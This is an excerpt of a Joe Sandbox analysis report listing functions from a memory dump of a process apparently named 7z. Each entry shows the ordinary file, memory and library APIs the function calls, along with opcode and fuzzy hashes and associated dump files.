Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction ID: 34fe036cf499ec489fe88183e507bc207ffa0744ff25a1e72070c7085109fffc
Opcode Fuzzy Hash: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction Fuzzy Hash: 9F215855204A0181CF26EF25E85139F6370EB9DBE5F489221ED6F4B768DE3CC595C700

Function 0031CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0031CF85
memmove.MSVCRT ref: 0031CFB7
GetLastError.KERNEL32 ref: 0031D020

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ErrorLast$memmove
String ID:
API String ID: 3796167841-0
Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction ID: 93905f18525e7c37de8d6eabe5cf3b238c782acdfb4762ea8c47b1af1a175f1a
Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction Fuzzy Hash: 8951B162360B55A7DB2E8E2AD5407E923A0FB0D794F151126DF0A8BF50DB39E8E6C700

Function 00312300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00312311

Strings

Kernel , xrefs: 00312300

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 1ea79e35156c1a1df38128416e7edc7fb4c848c66040116149f957148de9ab4b
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 1BC09B55751A0882FF1517B7EC453251215D75DF91F185030CE1D07350D91CD5D68711

Function 00343D58 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00343E2A

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

Strings

h3, xrefs: 00343D99

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID: h3
API String ID: 2114622545-3589807947
Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction ID: ae75fa9ceaf40562935b273fc86eed036da612069d12167d4d0851e0f0425155
Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction Fuzzy Hash: FA31AE33602B4086DB1A9F29D5943AAB3E5FB89FE0F1945349F5A0B764DF38D996C300

Function 0035B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0035B20D
fputs.MSVCRT ref: 0035B232

Part of subcall function 00312B04: _CxxThrowException.MSVCRT ref: 00312B2D
Part of subcall function 00312B04: free.MSVCRT ref: 00312B44

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: de2872a75fc3e86dc26a2a0db5367f21202faaefb76fb6384f85b1646671708d
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: 2001C0777006909AE70ADF6BEA80B5E6720F759B95F098422DF0807721DF74D8AAC320

Function 00318A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00318E1D), ref: 00318A99
GetLastError.KERNEL32(?,?,00000003,?,00318E1D), ref: 00318AA6

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: 73f237794df03ae3d42e8d82f968282160cb67de4d339abb0bb7cbf4f0100828
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: E9F0FC62B117C087DF2A8B6DD8847992765EF5E799F6C4422CA0943B60DF29C8C2C710

Function 00350994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003509D5

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

free.MSVCRT ref: 003509E9

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction ID: 94c9076db9f546aec324ea751a48e9c1b40752a2a5f60022476b3105e8114cfd
Opcode Fuzzy Hash: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction Fuzzy Hash: 4AF0126720494480CA26DF25E95575E9330E789BF9F488321EE6D4B7F9DF28C5DAC700

Function 00344035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 0034404D
memmove.MSVCRT ref: 00344087

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction ID: a3e9100e3ec467c69ba583297fc99dc5d2db12bb350812ea4ec4aa0591d2330b
Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction Fuzzy Hash: D431B3773196C196CA36EF15E1942EEB760F795340F404422CB9D4BB69EF38E699CB00

Function 00344054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00344065
memmove.MSVCRT ref: 00344087

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction ID: f44e9390eeb95e63d7f7dacfb4f714bc55bf7df578bfacd34bdaea8dc9c67cb7
Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction Fuzzy Hash: 2A1190622156C592CA32EB55E0D53EEA350E795790F804436CB9D4FA65DF38D6CACB00

Function 00339A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00339A84
free.MSVCRT ref: 00339A95

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 584e1933aa02ed4841e13bb5c78181b9d15b9322500109980de0e8f19c2a0c1b
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 7CF08623302B94C6DA15AA26E88025D6714AB46FB1F198331DF7917791CF64C457C300

Function 0035C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00312130: malloc.MSVCRT ref: 00312134
Part of subcall function 00312130: _CxxThrowException.MSVCRT ref: 0031214F

memmove.MSVCRT ref: 0035C815
free.MSVCRT ref: 0035C81D

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction ID: 6c86ff317b1172472ee9ba28064eecba406bfdf4128d868a023bf958f23edf13
Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction Fuzzy Hash: 3901D1333012888BCB19DF26D46196DB760E388F99B08C129DF054B358CA34DC8ACB90

Function 00350A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00350A42
LeaveCriticalSection.KERNEL32 ref: 00350A73

Part of subcall function 0035B480: GetTickCount.KERNEL32 ref: 0035B49E
Part of subcall function 0035B480: strcmp.MSVCRT ref: 0035B4E3
Part of subcall function 0035B480: wcscmp.MSVCRT ref: 0035B502
Part of subcall function 0035B480: strcmp.MSVCRT ref: 0035B568

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 32d78b87c5a104bb884da64917cd5e5b76963548490fe0bcdb6e2a6bbccd2dd0
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: 7BF05EA2224A5082E7229B25EC44799A364E744BB6F144334EE7D476E4CF38868AC314

Function 00312568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00313274: memmove.MSVCRT ref: 003132AC

free.MSVCRT ref: 003125B5
free.MSVCRT ref: 003125C0

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: 8a91bcb8854948ca8a5520cdba6363cbceb9a4ac80e991954930afc1864963ca
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: B1E0376225854051CA25EB21E4510DB6720E7DE7F4B442321B6BF5B7F9DE28C6D6CB00

Function 00312130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00312134
_CxxThrowException.MSVCRT ref: 0031214F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: 9f75c0e5354f9d9b3322fb8ffa64048bbadd038ecda87411683f357fbcbca094
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: 48D02284B1BA80E0EE0AAB10A8813081720A798341F801051E20E02334DA1CC28F8B00

Function 0032251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: 2ea594cf4b752cdc5b080b13584b2df249ac172db2c85517381e2925ca8a5835
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: A6514C73244AD0A5C722CF25E8406EE7B61F389F98F6A4136DE9A0B719DF74C881C710

Function 003386E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00338744

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 96b1a8da7d9e299d2ae852429af4105d77ea9a4ae97cf7347d1e118ebf1aeccf
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: E711821621878182E3728B18A4807BA6261E7847A4F644321FFDA57BE4EF3CCD85C705

Function 00318C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00318A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00318E1D), ref: 00318A99
Part of subcall function 00318A60: GetLastError.KERNEL32(?,?,00000003,?,00318E1D), ref: 00318AA6

SetEndOfFile.KERNELBASE ref: 00318CC7

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 8382bd629d40368d138353de3d4b1445dee3cbedeaf906f6b44e26a7c98256ca
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 30E02612301894C7E7269FB1A8816EAD314AB49BE0F488031AA4543F48CF658DDA8714

Function 003164D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00316464: FreeLibrary.KERNELBASE(?,?,?,003164E7), ref: 00316475

LoadLibraryExW.KERNELBASE ref: 003164F4

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: 91fc21076b6e0880da59878929efab2673028f84161eb0b493afada23bd9e250
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: CAD02B11701A1086EE1A1BF668432A503091F0ABD1F44C0309E0903311DE240CE79300

Function 00318BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00318C1F

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: 3d9d939e9f99b0ce85f5b2a4c4b108dae98baeaa66f06a65041622e56006f704
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: EAE04676228A40CBEB51CF60E800B4AB3A4F388B24F000118DE8E83B54CBBCC244CF80

Function 00316464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,003164E7), ref: 00316475

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: 82670ad8e2f2b6c69eaec54cdd1f891e1b378a069992aef5bce73eb8be4d1f0a
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: 25D012A2702904C5FF1B4FF3EC5537523586B5CF45F5D6010CE154B240EF2989D58760

Function 00318AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00318B16

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 6cbb746e550071f52d8cad5f551965295a92f514ba77513c32be8ba714dce4a3
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: 9CD01776614A84CAE7008F70E44575AF764F388B65F480004EA8807774CBBCC299CB00

Function 003126A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 003126C1

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
